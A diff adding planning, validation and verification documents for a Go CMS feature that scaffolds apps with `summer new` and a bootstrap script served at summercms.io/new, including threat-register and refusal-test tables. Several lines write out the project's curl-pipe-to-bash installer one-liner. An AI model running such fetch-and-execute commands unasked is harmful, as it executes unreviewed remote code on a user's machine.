+| T-14.3-SC | Tampering | npm/pip/cargo installs | high | mitigate | No package-manager installs in the framework or the plugin; `git diff v0.1.12..HEAD -- go.mod go.sum` is empty and the plugin's `go.mod`/`go.sum` are unchanged; the container installs come from Debian's and Docker's signed apt repositories and a checksum-verified Go tarball | `git diff` empty; `--acceptance` | mitigated | --forbidden (in --unit) |
+
+## Refusal probe (2026-10-08)
+
+Plan 04 turned every case below into an automated `TestScriptBehavior` subtest (25 cases, stub `go`/`docker`, real `git`, a bare fake framework remote with tags v0.1.0, v0.2.0, v0.10.0 and v1.0.0-rc1).
+
+Fake framework repository with tags `v0.0.1`, `v0.0.2`; `SUMMERCMS_REPO=<fake>`; script run from a work directory holding `summercms`:
+
+| Case | Result |
+|------|--------|
+| checkout on branch `master` | `error: … is on branch master; this installer only moves a detached release checkout …`, exit 1, untouched |
+| detached, tracked file modified | `error: … has uncommitted changes to tracked files …`, exit 1, untouched |
+| upstream `v0.0.2` moved to a new commit | fetch refused, `error: git fetch … failed (a release tag may have moved upstream); the checkout was not changed`; local `v0.0.2` still at the original commit (e343b45, upstream ea6dd36); HEAD unchanged |
+| HEAD has a local commit not reachable from `v0.0.2` | `error: moving … is not a fast-forward; the checkout was not changed`, exit 1, HEAD unchanged |
+| `sm-demo-app` already exists | `error: … already exists`, exit 1, before any git command |
+| name `Demo` | `error: invalid application name Demo …`, exit 2 |
+| no argument / `--help` | usage, exit 2 / 0 |
+| `summercms` exists without `go.mod` | `error: … is not a SummerCMS framework checkout (no go.mod) …`, exit 1 |
+
+## Notes (no finding)
+
+- Write locations: besides `SUMMERCMS_DIR`, `sm-<name>-app` and the Go install directory, `go install` and `summer new` write to the user's Go build and module caches (`GOCACHE`, `GOMODCACHE`). That is the Go toolchain's normal state, not a script write.
+- `SUMMERCMS_REPO`, `SUMMERCMS_DIR` and `SUMMERCMS_REF` come from the invoking user's own environment; they are not a trust boundary. git's default `protocol.allow` already refuses `ext::` URLs.
+- Tags are not signed; the release checkout trusts HTTPS to `git.golem15.com` plus the no-clobber fetch (trust on first use). Signed-tag verification is a possible later hardening, not an L1 requirement.
+- On a fresh clone whose target cannot be resolved (no release tag, unknown `SUMMERCMS_REF`), the clone stays on its default branch and the error says to remove it and run again; a re-run would otherwise refuse it as a branch checkout. The script never deletes it itself.

.planning/phases/14.3-one-command-app-scaffolding-summer-new-and-summercms-io-new/14.3-UAT.md

@@ -0,0 +1,52 @@
+---
+status: testing
+phase: 14.3-one-command-app-scaffolding-summer-new-and-summercms-io-new
+source: [14.3-VERIFICATION.md]
+started: 2026-10-08T10:50:06Z
+updated: 2026-10-08T12:10:00Z
+---
+
+## Current Test
+
+number: 1
+name: Decide CR-01 and WR-02 before tagging
+expected: |
+  Each of CR-01 (whitespace in the framework directory name breaks the go.mod replace) and WR-02 (new.sh does not reject Go keywords, main or internal before cloning) is either fixed or explicitly deferred in 14.3-REVIEW-DISPOSITION.md, and installation.md no longer claims the script stops before cloning on any invalid name unless that is true.
+awaiting: user response
+
+## Tests
+
+### 1. Decide CR-01 and WR-02 before tagging
+expected: CR-01 and WR-02 are fixed or explicitly deferred in 14.3-REVIEW-DISPOSITION.md; the installation.md sentence about stopping before the clone is accurate.
+result: [pending]
+
+### 2. Review the generated CLAUDE.md and the rewritten docs pages
+expected: The generated app's CLAUDE.md and docs/setup/installation.md, go-modules-and-workspaces.md and the console pages read correctly.
+result: [pending]
+
+### 3. Confirm the judgment-tier prohibition verdicts
+expected: The 17 judgment-tier prohibition verdicts in 14.3-VERIFICATION.md hold, including how WR-04 relates to "no machine-specific paths".
+result: [pending]
+
+### 4. Tag and push framework v0.1.13
+expected: git tag v0.1.13 exists locally and on origin, and summercms.go master is pushed.
+result: pass
+
+### 5. Bump the site's framework require to v0.1.13 and redeploy
+expected: sm-summercmsio-app and its plugin require v0.1.13. After the deploy, curl -fsSI https://summercms.io/new returns 200 with text/plain; charset=utf-8.
+result: pass
+
+### 6. Run the production acceptance
+expected: bash scripts/check-phase14.3.sh --acceptance-production passes, and SUMMERCMS_TERMINAL_CHECK=1 go test -run TestTerminalCommands passes in sm-summercmsio-app with no overrides.
+result: pass
+
+## Summary
+
+total: 6
+passed: 3
+issues: 0
+pending: 3
+skipped: 0
+blocked: 0
+
+## Gaps

.planning/phases/14.3-one-command-app-scaffolding-summer-new-and-summercms-io-new/14.3-VALIDATION.md

@@ -0,0 +1,93 @@
+---
+phase: "14.3"
+slug: "one-command-app-scaffolding-summer-new-and-summercms-io-new"
+status: validated
+nyquist_compliant: true
+wave_0_complete: true
+created: "2026-10-08"
+validated: "2026-10-08"
+---
+
+# Phase 14.3 — Validation Strategy
+
+> Per-phase validation contract for feedback sampling during execution. Source: 14.3-RESEARCH.md § Validation Architecture. Signed off by plan 04 after `bash scripts/check-phase14.3.sh --all` ended with `Phase 14.3 gate passed` on 2026-10-08.
+
+---
+
+## Test Infrastructure
+
+| Property | Value |
+|----------|-------|
+| **Framework** | Go stdlib `testing` (Go 1.27.0); `node:test` in `vue-summercmsio-app` |
+| **Config file** | none |
+| **Quick run command** | `go test ./internal/build/ ./cmd/summer/ ./modules/lagoon/ ./modules/sunrise/ -short` |
+| **Full suite command** | `go vet ./... && go test ./... && go -C examples/hello test ./...` |
+| **Phase gate** | `bash scripts/check-phase14.3.sh --all` (stages `--unit`, `--generator`, `--bootstrap`, `--terminal`, `--acceptance`, `--security`; final line `Phase 14.3 gate passed`) |
+| **Golden update** | `go test ./internal/build/ -run '^(TestNewGolden|TestNewGoldenNoPlugin)$' -update`, then review and commit the diff; the gate never passes `-update` and fails when `internal/build/testdata` changes |
+| **Estimated runtime** | ~20 seconds quick (incl. real builds), ~90 seconds full suite, ~6 minutes `--all` (container acceptance) |
+
+---
+
+## Sampling Rate
+
+- **After every task commit:** quick run command
+- **After every plan wave:** full suite + the plan's sibling-repo command (below)
+- **Before `/gsd-verify-work` and before tagging `v0.1.13`:** `bash scripts/check-phase14.3.sh --all` green
+- **Max feedback latency:** ~60 seconds for the quick run
+
+---
+
+## Per-Plan Verification Map
+
+| Plan | Behavior | Test Type | Automated Command | Status |
+|------|----------|-----------|-------------------|--------|
+| 01 | `summer new demo` in a temp parent with a `summercms` symlink builds and lists the starter route; `--no-plugin` builds | smoke (real build) | `go test ./internal/build/ -run '^(TestNewAppSmoke|TestNewNoPluginBuilds)$' -count=1` | ✅ |
+| 01 | every file `summer new` writes, default and `--no-plugin` (go.mod relative replace, go.work, config/, .env, compose `127.0.0.1:54320`, .gitignore, CLAUDE.md, starter plugin, next steps) | golden | `go test ./internal/build/ -run '^(TestNewGolden|TestNewGoldenNoPlugin)$' -count=1` | ✅ |
+| 01 | name rule and denylist; existing target (dir, file, symlink, dangling symlink); framework resolution order; target inside the checkout; cleanup on failure; key validation | unit | `go test ./internal/build/ -run '^(TestNewValidateAppName|TestNewRefusesExistingTarget|TestNewFrameworkResolution|TestNewRefusesTargetInsideFramework|TestNewCleansUpOnFailure|TestNewRequiresValidAppKey)$' -count=1` | ✅ |
+| 01 | `.env` 0600; AGENTS.md symlink; first commit with fallback identity, `.env` untracked; configured identity; git missing is a warning; `--no-git` | unit | `go test ./internal/build/ -run '^(TestNewEnvFileMode|TestNewAgentsSymlink|TestNewGitFirstCommit|TestNewGitUsesConfiguredIdentity|TestNewGitMissingIsWarning|TestNewNoGit)$' -count=1` | ✅ |
+| 01 | `plugin:add` writes relative `go.work` paths; plain `make:plugin` keeps the no-route stub | unit | `go test ./internal/build/ -run '^(TestMakeAndAddPluginOnHelloCopy|TestMakePluginRoutesUnchanged)$' -count=1` | ✅ |
+| 01 | `summer new` wired in the CLI with its flags | unit | `go test ./cmd/summer/ -run '^(TestToolCommandNames|TestNewCommandViaCLI)$' -count=1` | ✅ |
+| 01 | `GenerateAppKey` returns StdEncoding of 32 random bytes; `key:generate` uses it | unit | `go test ./modules/lagoon/ -run '^(TestGenerateAppKey|TestEncryptedKeyGeneratePrints32ByteBase64)$' -count=1` | ✅ |
+| 01 | `examples/hello` config gap fixed | integration | `go -C examples/hello test ./... -count=1` | ✅ |
+| 01 | D-12: generated app builds, migrates on PostgreSQL 16 and serves the starter route with no edits | e2e | `bash scripts/check-phase14.3.sh --generator` | ✅ |
+| 02 | script: embedded bytes, shebang, `main "$@"` last line, `bash -n`, truncation runs nothing | unit | `go test ./modules/sunrise/ -run '^(TestScriptEmbedded|TestScriptShape|TestScriptTruncationRunsNothing)$' -count=1` | ✅ |
+| 02 | script behaviour matrix (usage/name errors, existing app, Go missing/old/devel, git required, Docker warning, newest release tag, `SUMMERCMS_REF`, fast-forward re-runs, refusals with HEAD unchanged, stdin closed, cd line, PATH hint) and shellcheck | unit | `go test ./modules/sunrise/ -run '^(TestScriptBehavior|TestScriptShellcheck)$' -count=1` | ✅ |
+| 02 | `curl \| bash` from an HTTP server, clone at HEAD, install into a GOBIN off PATH, build the app | gated e2e | `bash scripts/check-phase14.3.sh --bootstrap` (`SUMMERCMS_BOOTSTRAP_CHECK=1 go test ./modules/sunrise/ -run '^TestBootstrapEndToEnd$'`) | ✅ |
+| 02 | `GET /new` 200 `text/plain; charset=utf-8`, body = embedded script, HEAD ok, POST 405, nosniff | unit | `go -C ../sm-summercmsio-app/plugins/golem15/summercms test ./... -count=1` (`TestNewScriptRoute`, `TestRoutesAssemble`) | ✅ |
+| 02 | D-20 container chain ends with the starter route answering | e2e (Docker) | `bash scripts/check-phase14.3.sh --acceptance` | ✅ |
+| 03 | docs tree valid, `summer new` a known command, llms outputs in sync | unit | `go test ./cmd/summer -run '^(TestDocsTree|TestDocsAIOutputsInSync)$' -count=1` and `go run ./cmd/summer docs:build --check` | ✅ |
+| 03 | landing page terminal data and tests | unit | `go -C ../sm-summercmsio-app test ./... -count=1` (`TestLoadTerminal`, `TestTerminalScript`, `TestTerminalEnv`, `TestTerminalRunScript`); `pnpm -C ../sm-summercmsio-app/vue-summercmsio-app generate && pnpm -C ../sm-summercmsio-app/vue-summercmsio-app test` | ✅ |
+| 03 | the six page commands run verbatim until the starter route answers | gated e2e | `bash scripts/check-phase14.3.sh --terminal` | ✅ |
+| 04 | fail-closed gate: named PASS for every required test, forbidden surfaces, threat register | gate | `bash scripts/check-phase14.3.sh --all` | ✅ |
+
+*Status: ⬜ pending · ✅ green · ❌ red · ⚠️ flaky*
+
+---
+
+## Wave 0 Requirements
+
+- [x] `internal/build/testdata/new/` and `testdata/new-no-plugin/` golden files + `-update` flag (`internal/build/new_golden_test.go`)
+- [x] new `modules/sunrise/` package with README and tests
+- [x] test helper creating `<tmp>/summercms` → repo-root symlink so the generated replace is deterministic (`../summercms`): `newGoldenApp`, `parentWithFramework`
+- [x] acceptance runner script: `scripts/check-phase14.3.sh --acceptance`
+
+---
+
+## Manual-Only Verifications
+
+| Behavior | Why Manual | Test Instructions |
+|----------|------------|-------------------|
+| `curl -fsSL https://summercms.io/new \| bash -s -- demo` against production | needs `v0.1.13` tagged and pushed, the site's require bumped and the site redeployed (user actions, D-28) | `curl -fsSI https://summercms.io/new` shows `200` and `text/plain; charset=utf-8`; in `sm-summercmsio-app`: `SUMMERCMS_TERMINAL_CHECK=1 go test -run TestTerminalCommands -count=1 -v .` with no overrides; in `summercms.go`: `bash scripts/check-phase14.3.sh --acceptance-production` |
+
+---
+
+## Validation Sign-Off
+
+- [x] All tasks have `<automated>` verify or Wave 0 dependencies
+- [x] Sampling continuity: no 3 consecutive tasks without automated verify
+- [x] Wave 0 covers all MISSING references
+- [x] No watch-mode flags
+- [x] Feedback latency < 60s
+- [x] `nyquist_compliant: true` set in frontmatter
+
+**Approval:** approved 2026-10-08 (`bash scripts/check-phase14.3.sh --all` → `Phase 14.3 gate passed`)

.planning/phases/14.3-one-command-app-scaffolding-summer-new-and-summercms-io-new/14.3-VERIFICATION.md

@@ -0,0 +1,219 @@
+---
+phase: 14.3-one-command-app-scaffolding-summer-new-and-summercms-io-new
+verified: 2026-10-08T12:10:00Z
+status: human_needed
+score: 6/6 roadmap success criteria verified in code (release, deploy and production run pending as user actions)
+covered_files:
+  - .planning/phases/14.3-one-command-app-scaffolding-summer-new-and-summercms-io-new/14.3-01-PLAN.md
+  - .planning/phases/14.3-one-command-app-scaffolding-summer-new-and-summercms-io-new/14.3-01-SUMMARY.md
+  - .planning/phases/14.3-one-command-app-scaffolding-summer-new-and-summercms-io-new/14.3-02-PLAN.md
+  - .planning/phases/14.3-one-command-app-scaffolding-summer-new-and-summercms-io-new/14.3-02-SUMMARY.md
+  - .planning/phases/14.3-one-command-app-scaffolding-summer-new-and-summercms-io-new/14.3-03-PLAN.md
+  - .planning/phases/14.3-one-command-app-scaffolding-summer-new-and-summercms-io-new/14.3-03-SUMMARY.md
+  - .planning/phases/14.3-one-command-app-scaffolding-summer-new-and-summercms-io-new/14.3-04-PLAN.md
+  - .planning/phases/14.3-one-command-app-scaffolding-summer-new-and-summercms-io-new/14.3-04-SUMMARY.md
+  - README.md
+  - cmd/summer/main.go
+  - docs/architecture/go-modules-and-workspaces.md
+  - docs/console/introduction.md
+  - docs/console/scaffolding.md
+  - docs/setup/installation.md
+  - docs/site.yaml
+  - examples/hello/config/http.yaml
+  - internal/build/new.go
+  - internal/build/scaffold.go
+  - internal/build/stubs/new.tmpl
+  - internal/build/stubs/plugin.tmpl
+  - modules/bonfire/command.go
+  - modules/lagoon/keygen.go
+  - modules/sunrise/new.sh
+  - modules/sunrise/sunrise.go
+  - scripts/check-phase14.3.sh
+covered_digest: "v2:sha256:e3a4adbf699b33af4ead50e3c65667d4d83f0f798492ef21f6b531e5276529fd"
+behavior_unverified: 0
+overrides_applied: 0
+human_verification:
+  - test: "Tag framework v0.1.13 (all framework work is on master, 40 commits after v0.1.12) and push the tag"
+    expected: "git ls-remote --tags https://git.golem15.com/golem15/summercms lists v0.1.13; the bootstrap script's newest-tag selection then picks a release that has `summer new`"
+    why_human: "D-28 makes tagging a user action. Until v0.1.13 exists, the one-liner checks out v0.1.12, which has no `summer new` command, so the production path cannot work yet"
+  - test: "Bump sm-summercmsio-plugin (and app) `require git.golem15.com/golem15/summercms` from v0.1.12 to v0.1.13, then redeploy summercms.io per sm-summercmsio-app/DEPLOY.md"
+    expected: "curl -sI https://summercms.io/new answers 200 with Content-Type text/plain; charset=utf-8 and the body equals modules/sunrise/new.sh at v0.1.13"
+    why_human: "Deploy is a user action (D-19, D-28). Checked on 2026-10-08: https://summercms.io/new currently answers 404 text/html"
+  - test: "After the deploy, run `bash scripts/check-phase14.3.sh --acceptance-production`"
+    expected: "Ends with `Phase 14.3 production acceptance passed` (the real `curl -fsSL https://summercms.io/new | bash -s -- demo` in node:24-bookworm, then compose/build/migrate/serve answering \"plugin\":\"golem15.demo\")"
+    why_human: "Needs the tag and the deploy above; the pre-release local acceptance (script from the repo, SUMMERCMS_REF=HEAD) passed in this verification"
+  - test: "Decide on code-review finding CR-01 (and WR-02) before tagging v0.1.13"
+    expected: "Either fix (quote whitespace paths in go.mod/plugin go.mod replace, mirror the keyword/main/internal rule in new.sh) or record them as deferred in 14.3-REVIEW-DISPOSITION.md"
+    why_human: "The tag freezes the generator and the script served at /new. CR-01 is reproduced (see Anti-Patterns) but only hits a framework directory whose name contains whitespace; whether it must block the release is a product call"
+  - test: "Read the generated CLAUDE.md and the four rewritten docs pages"
+    expected: "Agent instructions and docs are accurate, readable and name no consuming application"
+    why_human: "Carried from plan summaries (human_judgment: true). Greps prove required names/links and the forbidden-name rule only. Note docs/setup/installation.md says the script stops before cloning on an invalid name, which is false for Go keywords, `main` and `internal` (WR-02)"
+  - test: "Review the judgment-tier prohibitions listed under Prohibitions below (non-authoritative verifier verdicts)"
+    expected: "Human confirms or rejects each flagged verdict"
+    why_human: "All 17 prohibitions are verification: judgment; per ADR-550 an autonomous verdict is advisory only"
+---
+
+# Phase 14.3: One-command app scaffolding Verification Report
+
+**Phase Goal:** Starting a SummerCMS app takes one command. `summer new <name>` writes a ready-to-run `sm-<name>-app` next to the framework checkout, and `curl -fsSL https://summercms.io/new | bash -s -- <name>` checks the prerequisites, fetches the framework, installs the `summer` CLI and runs it. Ships as framework tag `v0.1.13`.
+**Verified:** 2026-10-08T12:10:00Z
+**Status:** human_needed
+**Re-verification:** No (initial verification)
+
+## Goal Achievement
+
+All code for the goal exists, is wired and was exercised end to end by this verifier in its own process (not taken from SUMMARY claims): the full unit gate, the D-12 generator run on real PostgreSQL 16, the gated bootstrap end-to-end test and the D-20 node:24-bookworm container acceptance all passed. What remains is the release leg of the goal ("ships as v0.1.13", summercms.io actually serving `/new`), which D-28 assigns to the user.
+
+### Observable Truths (roadmap contract)
+
+| # | Truth | Status | Evidence |
+|---|-------|--------|----------|
+| 1 | `summer new <name>` validates the name, refuses an existing dir, writes go.mod (module path, go 1.27.0, relative replace via --framework > sibling-by-module-path > clear error), summer.yaml, starter plugin via make:plugin/plugin:add + go.work, `--no-plugin`, complete config/ (http.yaml body_limits, app key, uploads bucket), .env.example + .env with fresh key, .gitignore, compose.yaml (PG16 matching .env), CLAUDE.md/AGENTS.md, first commit (`--no-git`) | ✓ VERIFIED | `internal/build/new.go` (ValidateAppName: regex + `token.IsKeyword` + main/internal; `os.Lstat` refusal; `resolveFramework` with `checkFramework` module-path match, binary-source last, error names `--framework`; `addStarterPlugin` -> `makePlugin(StarterRoute)` + `AddPlugin`); `stubs/new.tmpl` (all files); `cmd/summer/main.go:303` `newCommand` wires `lagoon.GenerateAppKey()` and the three flags. Goldens in `internal/build/testdata/new{,-no-plugin}` show `replace ... => ../summercms`, relative `./plugins/demo` go.work, empty plugin list. Unit gate: TestNewGolden, TestNewGoldenNoPlugin, TestNewValidateAppName, TestNewRefusesExistingTarget, TestNewFrameworkResolution, TestNewEnvFileMode, TestNewAgentsSymlink, TestNewGitFirstCommit, TestNewNoGit all named-PASS. Binary-source fallback added on top of the roadmap order (permitted by D-04). |
+| 2 | Generated app works with no edits: `summer build`, `summer migrate`, `summer serve`, starter route answers over HTTP | ✓ VERIFIED | Ran `bash scripts/check-phase14.3.sh --generator` myself: sibling detection, no git identity, `docker compose up -d --wait`, `built demo in 5.044s`, `✓ migrations applied`, `GET / -> {"message":"Hello from SummerCMS","plugin":"golem15.demo"}`, `Phase 14.3 generator check passed`. TestNewAppSmoke (real build + route:list) and TestNewNoPluginBuilds also passed in the unit gate. |
+| 3 | Bootstrap script wrapped in `main()`; checks Go 1.27+ and Docker; clones or fast-forwards the framework; `go install ./cmd/summer` with PATH hint; runs `summer new`; prints next steps; summercms.io serves it at `/new` as text/plain | ✓ VERIFIED (code); production serving pending (human item) | `modules/sunrise/new.sh` (functions only, last line `main "$@"`; `check_go` with go.dev/dl hint; `check_docker` warn-only; `checkout_framework` clone at newest vX.Y.Z or ff-only via `merge-base --is-ancestor`; `GOWORK=off go -C "$dir" install ./cmd/summer`; PATH hint; `summer new "$name" --framework "$dir"`); `sunrise.Script()` embeds it; site `plugins/golem15/summercms/plugin.go:62` `g.Get("/new", scriptHandler(sunrise.Script()))`, `script.go` sets text/plain, nosniff, no-cache, ETag. TestScriptTruncationRunsNothing, TestScriptBehavior, TestScriptShellcheck, TestNewScriptRoute, TestRoutesAssemble named-PASS; `--bootstrap` stage (TestBootstrapEndToEnd) passed in my run. https://summercms.io/new currently answers 404 (not deployed, D-28). |
+| 4 | In a clean node:24-bookworm container with Go 1.27, Docker, git, jq: one-liner -> `cd sm-demo-app && docker compose up -d && summer build && summer migrate && summer serve` ends with the starter route answering | ✓ VERIFIED (pre-release form); production form pending (human item) | Ran `bash scripts/check-phase14.3.sh --acceptance` myself: bare node:24-bookworm, Go 1.27.0 from go.dev (sha256 checked), `curl -fsSL file:///fw/modules/sunrise/new.sh \| SUMMERCMS_REPO=/fw SUMMERCMS_REF=<HEAD> bash -s -- demo`, compose up, build, migrate, serve -> `{"message":"Hello from SummerCMS","plugin":"golem15.demo"}`, `Phase 14.3 acceptance passed`. No containers, volumes or ports left behind. The literal `https://summercms.io/new` run needs the tag + deploy. |
+| 5 | installation.md leads with the one-liner; go-modules-and-workspaces.md and console docs cover `summer new`; llms.txt/llms-full.txt include the changes; docs checks pass | ✓ VERIFIED | `docs/setup/installation.md` first section "Create an application with one command" with the exact one-liner; `go-modules-and-workspaces.md` section "Applications created by summer new"; `docs/console/scaffolding.md` "Creating an application" with `--framework`, `--no-plugin`, `--no-git`. Fresh `summer docs:build --out <tmp>`: llms.txt has the one-liner (1), llms-full.txt has it (6) and `summer new` (20). `docs:build --check`, TestDocsTree, TestDocsAIOutputsInSync passed in the unit gate. |
+| 6 | Generator Go tests (golden output plus a real build of the scaffold in a temp dir) are the last plan | ✓ VERIFIED | Plan 04 (wave 4, last) delivered `new_golden_test.go` (TestNewGolden/NoPlugin, `-update` flag), 23 goldens, TestNewAppSmoke/TestNewNoPluginBuilds (real `App()` build, skipped only under `-short`). Gate asserts goldens unchanged after the run. |
+| G | Ships as framework tag `v0.1.13` | ? HUMAN | Not tagged locally or on the remote (latest remote tag v0.1.12). D-28 makes tagging a user action. |
+
+**Score:** 6/6 roadmap success criteria verified in code (0 present-but-behavior-unverified). The release clause (tag, site bump, deploy, production acceptance) is routed to human verification.
+
+### Locked decisions (D-01..D-28) coverage
+
+| Decision | Status | Evidence |
+|----------|--------|----------|
+| D-01 naming convention | ✓ | CLAUDE.md template "Naming convention"; docs/console/scaffolding.md |
+| D-02 name rule, no overwrite | ✓ | `appNameRe`, `os.Lstat` refusal; TestNewValidateAppName, TestNewRefusesExistingTarget |
+| D-03 go.mod shape, relative replace | ✓ (CR-01 edge case) | go.mod.golden; relative only, but unquoted when the path contains whitespace |
+| D-04 framework resolution order | ✓ | `resolveFramework`; TestNewFrameworkResolution |
+| D-05 starter plugin via shared code paths | ✓ | `makePlugin(..., pluginOptions{StarterRoute: true})` + `AddPlugin`; single `routes.go` template; TestMakePluginRoutesUnchanged |
+| D-06 `--no-plugin` | ✓ | TestNewNoPluginBuilds (real build) |
+| D-07 config/ complete, examples/hello http.yaml | ✓ | four config templates; `examples/hello/config/http.yaml`; serve proven by `--generator` |
+| D-08 .env/.env.example/.gitignore, GenerateAppKey reused | ✓ | `lagoon.GenerateAppKey` used by `key:generate` and `newCommand`; TestGenerateAppKey, TestNewEnvFileMode |
+| D-09 compose PG16 matching .env | ✓ | compose template + `devDSN`; `--generator` migrate succeeded |
+| D-10 CLAUDE.md/AGENTS.md | ✓ | template; AGENTS.md relative symlink; TestNewAgentsSymlink |
+| D-11 git init + first commit, fallback identity | ✓ | `initGit`; `--generator` checked one commit on main by `SummerCMS <summer@localhost>`, .env untracked |
+| D-12 works with no edits | ✓ | `--generator` run (this verification) |
+| D-13 script embedded, served at GET /new | ✓ code / human deploy | `modules/sunrise`, site `script.go`; TestNewScriptRoute |
+| D-14 `main()` wrapper | ✓ | last line `main "$@"`; TestScriptTruncationRunsNothing |
+| D-15 script steps | ✓ | new.sh; TestScriptBehavior; TestBootstrapEndToEnd |
+| D-16 latest release tag, ff-only, refuse dirty/branch | ✓ | `latest_tag`, `check_checkout`, `merge-base --is-ancestor`; TestScriptBehavior |
+| D-17 clone location / overrides | ✓ | `SUMMERCMS_REPO/DIR/REF` |
+| D-18 docs | ✓ | see truth 5 |
+| D-19 landing page + TestTerminalCommands | ✓ code / human deploy | `terminal.json` three groups, six commands; pnpm test 32/32; TestLoadTerminal, TestTerminalScript, TestTerminalEnv, TestTerminalRunScript PASS (gated TestTerminalCommands not re-run here; summary reports pass) |
+| D-20 container acceptance | ✓ pre-release / human production | see truth 4 |
+| D-21 test conventions, last plan | ✓ | see truth 6 |
+| D-22 keyword/main/internal refusal | ✓ in `summer new`; ✗ not mirrored in new.sh (WR-02) | TestNewValidateAppName |
+| D-23 fixed non-5432 port on 127.0.0.1 | ✓ | `127.0.0.1:54320:5432` |
+| D-24 `summer new` prints next steps; script prints cd + PATH hint | ✓ | `new/next-steps` template; new.sh tail |
+| D-25 no root go.sum; go.work.sum ignored | ✓ | gitignore template; `--generator` checks no go.sum |
+| D-26 package under modules/, SUMMERCMS_* only | ✓ | `modules/sunrise`, README + root table row; forbidden scan passed |
+| D-27 relative plugin:add go.work, opt-in starter route, GenerateAppKey, hello http.yaml | ✓ | `runGoWorkUse` via `relModulePath`; TestMakeAndAddPluginOnHelloCopy |
+| D-28 release ordering, user actions | ? human | site require still v0.1.12 with local replace; no v0.1.13 tag; nothing deployed |
+
+### Required Artifacts
+
+| Artifact | Expected | Status | Details |
+|----------|----------|--------|---------|
+| `internal/build/new.go` | NewApp, ValidateAppName, planNewApp, resolution | ✓ VERIFIED | 419 lines, substantive, called from `cmd/summer/main.go` |
+| `internal/build/stubs/new.tmpl` | go.mod, config, .env, compose, gitignore, CLAUDE.md, next steps | ✓ VERIFIED | rendered by `planNewApp` |
+| `internal/build/stubs/plugin.tmpl` | opt-in starter route | ✓ VERIFIED | `{{if .StarterRoute}}` GET `/{$}` |
+| `cmd/summer/main.go` | `new` command with three flags | ✓ VERIFIED | `newCommand()` registered in `toolCommands()` |
+| `modules/lagoon/keygen.go` | `GenerateAppKey` | ✓ VERIFIED | reused by key:generate and summer new |
+| `examples/hello/config/http.yaml` | body_limits | ✓ VERIFIED | `go -C examples/hello test ./...` passed |
+| `modules/sunrise/new.sh`, `sunrise.go`, `README.md` | script, embed, README | ✓ VERIFIED | `//go:embed new.sh`, `Script()` clones bytes |
+| `sm-summercmsio-app/plugins/golem15/summercms/script.go` + `plugin.go` | GET /new | ✓ VERIFIED | committed in plugin `2157bb9`, gitlink in app `fd721cf` |
+| `vue-summercmsio-app/app/data/terminal.json` | one-liner Get started | ✓ VERIFIED | committed `6140750` |
+| `sm-summercmsio-app/terminal_check_test.go` | SUMMERCMS_NEW_URL, backgrounded serve | ✓ VERIFIED | unit tests PASS |
+| `internal/build/new_golden_test.go`, `testdata/new*/` | goldens | ✓ VERIFIED | 17 + 6 goldens, unchanged after the gate run |
+| `modules/sunrise/script_behavior_test.go` | behaviour matrix | ✓ VERIFIED | TestScriptBehavior PASS |
+| `scripts/check-phase14.3.sh` | fail-closed gate | ✓ VERIFIED | stages run here: --unit, --generator, --bootstrap, --acceptance |
+
+### Key Link Verification
+
+| From | To | Via | Status |
+|------|----|-----|--------|
+| `cmd/summer/main.go` | `modules/lagoon/keygen.go` | `lagoon.GenerateAppKey()` -> `NewOptions.AppKey` | ✓ WIRED |
+| `internal/build/new.go` | `internal/build/scaffold.go` | `makePlugin(StarterRoute)`, `AddPlugin`, `generate()` | ✓ WIRED |
+| `scaffold.go` | `go.work` | `runGoWorkUse` passes `relModulePath` result | ✓ WIRED |
+| site `plugin.go` | `modules/sunrise` | `g.Get("/new", scriptHandler(sunrise.Script()))` via local replace | ✓ WIRED |
+| `new.sh` | `cmd/summer` | `go install ./cmd/summer`; `summer new "$name" --framework "$dir"` | ✓ WIRED |
+| `terminal.json` | `terminal_check_test.go` | `loadTerminal` | ✓ WIRED |
+| `check-phase14.3.sh` | `14.3-SECURITY-REVIEW.md` | `--security` threat-ID scan | ✓ WIRED (not re-run; unit gate's forbidden scan passed) |
+
+### Behavioral Spot-Checks (run by this verifier)
+
+| Behavior | Command | Result | Status |
+|----------|---------|--------|--------|
+| vet, full tests, named PASS for 28 framework + 6 site tests, hello, docs check, site plugin/app, pnpm generate/test, forbidden scan | `bash scripts/check-phase14.3.sh --unit` | `Phase 14.3 unit stage passed`, exit 0 | ✓ PASS |
+| D-12 generated app builds, migrates, serves | `bash scripts/check-phase14.3.sh --generator` | `GET / -> {"message":"Hello from SummerCMS","plugin":"golem15.demo"}` | ✓ PASS |
+| Bootstrap end to end on the host | `bash scripts/check-phase14.3.sh --bootstrap` | `PASS TestBootstrapEndToEnd` | ✓ PASS |
+| D-20 in node:24-bookworm | `bash scripts/check-phase14.3.sh --acceptance` | `Phase 14.3 acceptance passed` | ✓ PASS |
+| llms outputs carry the change | `summer docs:build --out <tmp>`; grep | one-liner in llms.txt and llms-full.txt; `summer new` x20 | ✓ PASS |
+| Production `/new` | `curl -sS -o /dev/null -w '%{http_code}' https://summercms.io/new` | `404 text/html` | ? HUMAN (not deployed, D-28) |
+| CR-01 reproduction | `summer new demo --framework "my fw" --no-git --no-plugin` | prints `created ...`, go.mod `replace ... => ../my fw`, `go list -m` fails `malformed module path "../my"` | ✗ confirmed (edge case) |
+| Parent path with spaces, default sibling | `summer new demo --no-git --no-plugin` in `has space/` | `replace ... => ../summercms`, module loads | ✓ PASS |
+
+All Docker resources and ports 8080/54320 were confirmed free after the runs; scratch files were removed.
+
+### Probe Execution
+
+Step 7c: no `scripts/*/tests/probe-*.sh` declared or present for this phase; the phase gate stages above serve that role and were run directly.
+
+### Requirements Coverage
+
+REQUIREMENTS.md maps no IDs to Phase 14.3 (roadmap says "Requirements: TBD"). Coverage is accounted per locked decision in the D-01..D-28 table above. No orphaned requirements.
+
+### Prohibitions (judgment tier; non-authoritative verifier verdicts, human review recommended)
+
+| Prohibition | Verdict | Flag |
+|-------------|---------|------|
+| summer new never commits .env or a key; .env.example has no real key | holds (`--generator` checked `git ls-files .env` empty; template `SUMMER_APP__KEY=`) | unverified-prohibition, human review recommended |
+| Committed go.mod/go.work never contain absolute, machine-specific paths | holds on default paths; WR-04: binary-source fallback can write a relative path into GOMODCACHE (machine-specific) | unverified-prohibition, human review recommended |
+| compose.yaml never publishes PG on other than 127.0.0.1 | holds (`"127.0.0.1:54320:5432"`) | unverified-prohibition |
+| Template text never names a consuming application | holds (grep clean; docs forbidden-name rule passed) | unverified-prohibition |
+| No new Go dependency / no runtime plugin loading (x2) | holds (`git diff v0.1.12 -- go.mod` empty; forbidden scan passed) | unverified-prohibition |
